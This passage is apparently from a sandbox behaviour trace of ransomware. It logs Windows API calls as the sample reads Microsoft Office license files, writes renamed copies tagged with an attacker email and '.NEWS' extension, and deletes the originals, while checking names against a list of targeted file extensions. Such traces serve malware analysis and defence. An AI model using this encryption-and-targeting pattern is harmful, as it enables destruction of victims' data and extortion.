(in: hFile=0x4f4, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x4dcf, lpOverlapped=0x0) returned 1 [0180.297] WriteFile (in: hFile=0x36c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x4dd0, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x4dd0, lpOverlapped=0x0) returned 1 [0180.299] ReadFile (in: hFile=0x4f4, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.299] WriteFile (in: hFile=0x36c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x10a, lpOverlapped=0x0) returned 1 [0180.299] SetEndOfFile (hFile=0x36c) returned 1 [0180.300] CloseHandle (hObject=0x36c) returned 1 [0180.300] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.300] SetEndOfFile (hFile=0x4f4) returned 1 [0180.304] CloseHandle (hObject=0x4f4) returned 1 [0180.304] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.305] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_retail-ul-phn.xrm-ms")) returned 1 [0180.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0180.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0180.306] lstrlenW (lpString=".doc") returned 4 [0180.306] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.306] lstrlenW (lpString=".docx") returned 5 [0180.306] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.306] lstrlenW (lpString=".pdf") returned 4 [0180.306] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.306] lstrlenW (lpString=".xls") returned 4 [0180.306] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.306] lstrlenW (lpString=".xlsx") returned 5 [0180.306] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.306] lstrlenW (lpString=".ppt") returned 4 [0180.306] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0180.307] lstrlenW (lpString=".zip") returned 4 [0180.307] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.307] lstrlenW (lpString=".rar") returned 4 [0180.307] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.307] lstrlenW (lpString=".bz2") returned 4 [0180.307] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.307] lstrlenW (lpString=".7z") returned 3 [0180.307] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0180.307] lstrlenW (lpString=".dbf") returned 4 [0180.307] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0180.307] lstrlenW (lpString=".1cd") returned 4 [0180.307] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0180.307] lstrlenW (lpString=".jpg") returned 4 [0180.307] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0180.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0180.307] lstrlenW (lpString=".doc") returned 4 [0180.307] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.307] lstrlenW (lpString=".docx") returned 5 [0180.307] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.307] lstrlenW (lpString=".pdf") returned 4 [0180.308] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.308] lstrlenW (lpString=".xls") returned 4 [0180.308] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.308] lstrlenW (lpString=".xlsx") returned 5 [0180.308] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.308] lstrlenW (lpString=".ppt") returned 4 [0180.308] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0180.308] lstrlenW (lpString=".zip") returned 4 [0180.308] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.308] lstrlenW (lpString=".rar") returned 4 [0180.308] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.308] lstrlenW (lpString=".bz2") returned 4 [0180.308] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.308] lstrlenW (lpString=".7z") returned 3 [0180.308] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0180.308] lstrlenW (lpString=".dbf") returned 4 [0180.308] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0180.308] lstrlenW (lpString=".1cd") returned 4 [0180.308] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Retail-ul-phn.xrm-ms") returned 77 [0180.308] lstrlenW (lpString=".jpg") returned 4 [0180.309] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.309] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0180.309] lstrlenW (lpString="ExcelR_Trial-pl.xrm-ms") returned 22 [0180.309] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0180.310] GetFileSizeEx (in: hFile=0x4f4, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11139) returned 1 [0180.310] CloseHandle (hObject=0x4f4) returned 1 [0180.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 0x220 [0180.310] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f4 [0180.311] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.311] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.311] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0180.313] GetLastError () returned 0x0 [0180.313] ReadFile (in: hFile=0x4f4, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2b83, lpOverlapped=0x0) returned 1 [0180.321] WriteFile (in: hFile=0x36c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2b90, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2b90, lpOverlapped=0x0) returned 1 [0180.322] ReadFile (in: hFile=0x4f4, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.322] WriteFile (in: hFile=0x36c, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x100, lpOverlapped=0x0) returned 1 [0180.323] SetEndOfFile (hFile=0x36c) returned 1 [0180.323] CloseHandle (hObject=0x36c) returned 1 [0180.329] SetFilePointerEx (in: hFile=0x4f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.329] SetEndOfFile (hFile=0x4f4) returned 1 [0180.337] CloseHandle (hObject=0x4f4) returned 1 [0180.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.340] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-pl.xrm-ms")) returned 1 [0180.516] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0180.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0180.517] lstrlenW (lpString=".doc") returned 4 [0180.517] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.517] lstrlenW (lpString=".docx") returned 5 [0180.517] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.517] lstrlenW (lpString=".pdf") returned 4 [0180.517] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.517] lstrlenW (lpString=".xls") returned 4 [0180.517] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.517] lstrlenW (lpString=".xlsx") returned 5 [0180.517] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.517] lstrlenW (lpString=".ppt") returned 4 [0180.517] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0180.517] lstrlenW (lpString=".zip") returned 4 [0180.517] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.517] lstrlenW (lpString=".rar") returned 4 [0180.517] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.517] lstrlenW (lpString=".bz2") returned 4 [0180.517] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.517] lstrlenW (lpString=".7z") returned 3 [0180.517] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.517] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0180.517] lstrlenW (lpString=".dbf") returned 4 [0180.518] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0180.518] lstrlenW (lpString=".1cd") returned 4 [0180.518] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0180.518] lstrlenW (lpString=".jpg") returned 4 [0180.518] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0180.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0180.518] lstrlenW (lpString=".doc") returned 4 [0180.518] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.518] lstrlenW (lpString=".docx") returned 5 [0180.518] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.518] lstrlenW (lpString=".pdf") returned 4 [0180.518] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.518] lstrlenW (lpString=".xls") returned 4 [0180.518] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.518] lstrlenW (lpString=".xlsx") returned 5 [0180.518] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.518] lstrlenW (lpString=".ppt") returned 4 [0180.518] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.518] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0180.519] lstrlenW (lpString=".zip") returned 4 [0180.519] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.519] lstrlenW (lpString=".rar") returned 4 [0180.519] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.519] lstrlenW (lpString=".bz2") returned 4 [0180.519] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.519] lstrlenW (lpString=".7z") returned 3 [0180.519] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0180.519] lstrlenW (lpString=".dbf") returned 4 [0180.519] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0180.519] lstrlenW (lpString=".1cd") returned 4 [0180.519] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.519] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-pl.xrm-ms") returned 72 [0180.519] lstrlenW (lpString=".jpg") returned 4 [0180.519] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.519] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0180.519] lstrlenW (lpString="ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 32 [0180.519] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0180.521] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=11609) returned 1 [0180.521] CloseHandle (hObject=0x3fc) returned 1 [0180.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 0x220 [0180.521] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0180.522] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.522] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.522] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4f0 [0180.523] GetLastError () returned 0x0 [0180.523] ReadFile (in: hFile=0x3fc, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x2d59, lpOverlapped=0x0) returned 1 [0180.526] WriteFile (in: hFile=0x4f0, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x2d60, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x2d60, lpOverlapped=0x0) returned 1 [0180.528] ReadFile (in: hFile=0x3fc, lpBuffer=0x3e86020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x349fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesRead=0x349fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.528] WriteFile (in: hFile=0x4f0, lpBuffer=0x3e86020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x349fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e86020*, lpNumberOfBytesWritten=0x349fc94*=0x114, lpOverlapped=0x0) returned 1 [0180.528] SetEndOfFile (hFile=0x4f0) returned 1 [0180.528] CloseHandle (hObject=0x4f0) returned 1 [0180.528] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.528] SetEndOfFile (hFile=0x3fc) returned 1 [0180.535] CloseHandle (hObject=0x3fc) returned 1 [0180.535] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0180.535] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul-oob.xrm-ms")) returned 1 [0180.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0180.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0180.537] lstrlenW (lpString=".doc") returned 4 [0180.537] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.537] lstrlenW (lpString=".docx") returned 5 [0180.537] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.537] lstrlenW (lpString=".pdf") returned 4 [0180.537] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.537] lstrlenW (lpString=".xls") returned 4 [0180.537] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.537] lstrlenW (lpString=".xlsx") returned 5 [0180.537] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.537] lstrlenW (lpString=".ppt") returned 4 [0180.537] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0180.537] lstrlenW (lpString=".zip") returned 4 [0180.537] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.537] lstrlenW (lpString=".rar") returned 4 [0180.537] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.537] lstrlenW (lpString=".bz2") returned 4 [0180.537] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.537] lstrlenW (lpString=".7z") returned 3 [0180.537] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0180.537] lstrlenW (lpString=".dbf") returned 4 [0180.537] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0180.538] lstrlenW (lpString=".1cd") returned 4 [0180.538] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0180.538] lstrlenW (lpString=".jpg") returned 4 [0180.538] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0180.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0180.538] lstrlenW (lpString=".doc") returned 4 [0180.538] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0180.538] lstrlenW (lpString=".docx") returned 5 [0180.538] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0180.538] lstrlenW (lpString=".pdf") returned 4 [0180.538] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0180.538] lstrlenW (lpString=".xls") returned 4 [0180.538] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0180.538] lstrlenW (lpString=".xlsx") returned 5 [0180.538] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0180.538] lstrlenW (lpString=".ppt") returned 4 [0180.538] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0180.538] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0180.538] lstrlenW (lpString=".zip") returned 4 [0180.538] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0180.539] lstrlenW (lpString=".rar") returned 4 [0180.539] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0180.539] lstrlenW (lpString=".bz2") returned 4 [0180.539] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0180.539] lstrlenW (lpString=".7z") returned 3 [0180.539] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0180.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0180.539] lstrlenW (lpString=".dbf") returned 4 [0180.539] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0180.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0180.539] lstrlenW (lpString=".1cd") returned 4 [0180.539] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0180.539] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul-oob.xrm-ms") returned 82 [0180.539] lstrlenW (lpString=".jpg") returned 4 [0180.539] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0180.539] lstrcmpiW (lpString1=".xrm-ms", lpString2=".NEWS") returned 1 [0180.539] lstrlenW (lpString="ExcelVL_KMS_Client-ul.xrm-ms") returned 28 [0180.539] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0180.540] GetFileSizeEx (in: hFile=0x3fc, lpFileSize=0x349ff14 | out: lpFileSize=0x349ff14*=9601) returned 1 [0180.541] CloseHandle (hObject=0x3fc) returned 1 [0180.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms")) returned 0x220 [0180.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0180.541] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelVL_KMS_Client-ul.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelvl_kms_client-ul.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3fc [0180.541] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.542] SetFilePointerEx (in: hFile=0x3fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x349fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.542] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 